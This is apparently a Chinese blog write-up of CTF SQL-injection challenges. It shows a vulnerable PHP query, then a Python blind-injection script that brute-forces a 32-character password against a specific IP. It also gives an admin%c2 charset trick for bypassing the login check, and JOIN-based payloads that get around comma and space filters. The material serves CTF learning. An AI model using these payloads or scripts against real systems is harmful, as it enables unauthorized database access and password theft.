ctf中常见注入题源码及脚本分析

1.代码审计发现 这里没有用escape_string,因此存在注入。

 1 function show($username){
 2   global $conn;
 3   $sql = "select role from `user` where username =‘".$username."‘";
 4   $res = $conn ->query($sql);
 5   if($res->num_rows>0){
 6   echo "$username is ".$res->fetch_assoc()[‘role‘];
 7   }else{
 8   die("Don‘t have this user!");
 9   }
10 }

通过这里注入可以得到pasaword,$usename为被 单引号引起,所以应该首先注意闭合单引号。

pyhton脚本如下:

 1 # --coding:utf-8--    import requests
 2 url="http://117.34.111.15:89/?action=show"
 3 passwd=""
 4 lists="1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"
 5 for i in xrange(1,33):
 6     print i
 7     for p in lists:
 8         param={‘username‘:"-1‘=(ascii(mid((passwd)from("+str(i)+")))="+str(ord(p))+")=‘0"}
 9         print requests.post(url,data=param).content
10         if "admin" in requests.post(url,data=param).content:
11             passwd=passwd+p
12             break
13 print passwd

首先可以通过注入得到password长度为32,即我们需要爆破32位长度的密码。

利用 (-1=x=x=0)=true的逻辑来依次判断出每一位密码。

因为有32位,所以外层循环需要32次,对每一次都需要内层循环遍历所有的数字和字母,当三个等于号为true时,页面返回中会返回包含“admin”的字符串,此时可以将爆破出的一位密码位保留。

登陆就是flag 登陆这里的admin判断直接用admin%c2这个去绕过(mysql客户端与数据库的字符转换trick,当客户端为utf8,数据库为latin1的时候,latin1不允许出现汉字,所以将%c2视为无用部分舍去)。

2.当注入时出现逗号,空格被过滤且关键字段被过滤

首先创建一张表作为要被查询的表作为演示

插入一些数据;

我们的目的是查询出id=4的passwd的值,但是空格逗号被过滤以及passwd字段被过滤,所以首先绕过空格和逗号的过滤,

空格的过滤可以用//,/**/,(),+绕过

逗号可以用join查询来替换,以便于实现union联合查询。

首先看一下join的效果:

这里的1,2,3,4是我们可以替换的用于显示的数据位,比如:

我们通过id主键来查询出每一条结果

为了查出第四条记录的passwd字段的值,首先构造: 

1 select * from((select 1)a join (select 2)b  join (select 3)c  join (select 4)d)

假设字段三是数据回显位,则将(select 3)改写为:

1 (select result.3 from (select * from ((select 1)q join (select 2)w join (select 3)e join (select 4)r) union select * from table3 limit 1 offset 3) result)c

则最终语句为:

1 select * from((select 1)a join (select 2)b  join (select result.3 from(select * from ((select 1)q join (select 2)w join (select 3)e join (select 4)r)union select * from table3 limit 1 offset 4)result)c join (select 4)d);

持续更新中~

时间: 2024-10-20 13:59:08

ctf中常见注入题源码及脚本分析的相关文章

CTF中常见密码题解密网站总结

0x00.综合 网站中包含大多编码的解码. http://web2hack.org/xssee/ https://www.sojson.com/ http://web.chacuo.net/ 0x01.文字倒序排列 http://www.qqxiuzi.cn/zh/daoxu/ 0x02.cmd5解密 http://www.cmd5.com/ http://pmd5.com/ http://tool.chinaz.com/Tools/MD5.aspx http://md5jiami.51240.

转-----在Xcode中使用Git进行源码版本控制

在Xcode中使用Git进行源码版本控制 http://www.cocoachina.com/ios/20140524/8536.html 本文翻译自Understanding Git Source Control in Xcode (译者myShire)欢迎您加入我们的翻译小组. 在应用程序开发过程中,很重要的一部分工作就是如何进行源码的版本控制.当代码出现问题时,我们就需要将代码恢复到原先正常的版本.如果是多个人共同开发一个项目,那么代码的控制就会非常复杂.幸运的是,开发者不需要自己控制这些

Netty中NioEventLoopGroup的创建源码分析

NioEventLoopGroup的无参构造: 1 public NioEventLoopGroup() { 2 this(0); 3 } 调用了单参的构造: 1 public NioEventLoopGroup(int nThreads) { 2 this(nThreads, (Executor)null); 3 } 继续看到双参构造: 1 public NioEventLoopGroup(int nThreads, Executor executor) { 2 this(nThreads,

常见的Web源码泄露总结

常见的Web源码泄露总结 源码泄露方式分类 .hg源码泄露 漏洞成因: hg init 的时候会生成 .hg 漏洞利用: 工具: dvcs-ripper .git源码泄露 漏洞成因: 在运行git init 初始化代码库的时候,会在当前目录下产生一个.git的隐藏文件,用来记录代码的变更记录等等.在发布代码的时候,如果该文件没有删除而是直接发布了,那么使用这个文件,就可以恢复源代码. 漏洞利用: 工具:GitHack .DS_Store文件泄露 漏洞成因: 在发布代码的时候未删除隐藏文件汇总的.

Apache Spark源码走读之22 -- Spark MLLib中拟牛顿法L-BFGS的源码实现

欢迎转载,转载请注明出处,徽沪一郎. 概要 本文就拟牛顿法L-BFGS的由来做一个简要的回顾,然后就其在spark mllib中的实现进行源码走读. 拟牛顿法 数学原理 代码实现 L-BFGS算法中使用到的正则化方法是SquaredL2Updater. 算法实现上使用到了由scalanlp的成员项目breeze库中的BreezeLBFGS函数,mllib中自定义了BreezeLBFGS所需要的DiffFunctions. runLBFGS函数的源码实现如下 def runLBFGS( data:

一道模板元编程题源码解答(replace_type)

今天有一同学在群上聊到一个比较好玩的题目(本人看书不多,后面才知是<C++模板元编程>第二章里面的一道习题), 我也抱着试一试的态度去完成它, 这道题也体现了c++模板元编程的基础和精髓: 类型就是数据. 题目如下所述: Write a ternary metafunction replace_type<c,x,y> that takes an arbitrary compound type c as its first parameter, and replaces all oc

关于java中ReentrantLock类的源码分析以及总结与例子

一,官方描述 关于ReentrantLock的官方描述,英文的就不贴出来了,这里我只贴出我自己翻译的描述: reentrant是一个跟synchronized具有相同行为和语义的持有锁来访问方法和语句的互斥锁,但是reentrant还拥有被扩展的能力. ReentrantLock会被线程拥有并且持续锁定,不会解锁.线程调用lock()方法返回后,则成功持有锁,否则这个锁正在被另一个线程所持有,只能等待另一个线程释放锁,如果当前线程拥有了锁,则调用lock()方法会立即返回,这个状态可以通过isH

Java中arraylist和linkedlist源码分析与性能比较

Java中arraylist和linkedlist源码分析与性能比较 1,简介 在java开发中比较常用的数据结构是arraylist和linkedlist,本文主要从源码角度分析arraylist和linkedlist的性能. 2,arraylist源码分析 Arraylist底层的数据结构是一个对象数组,有一个size的成员变量标记数组中元素的个数,如下图: * The array buffer into which the elements of the ArrayList are sto

ThreadPoolExecutor的应用和实现分析(中)—— 任务处理相关源码分析

转自:http://www.tuicool.com/articles/rmqYjq 前面一篇文章从Executors中的工厂方法入手,已经对ThreadPoolExecutor的构造和使用做了一些整理.而这篇文章,我们将接着前面的介绍, 从源码实现上对ThreadPoolExecutor在任务的提交.执行,线程重用和线程数维护等方面做下分析. 0.    ThreadPoolExecutor类的声明属性变量分析 public class ThreadPoolExecutor extends Ab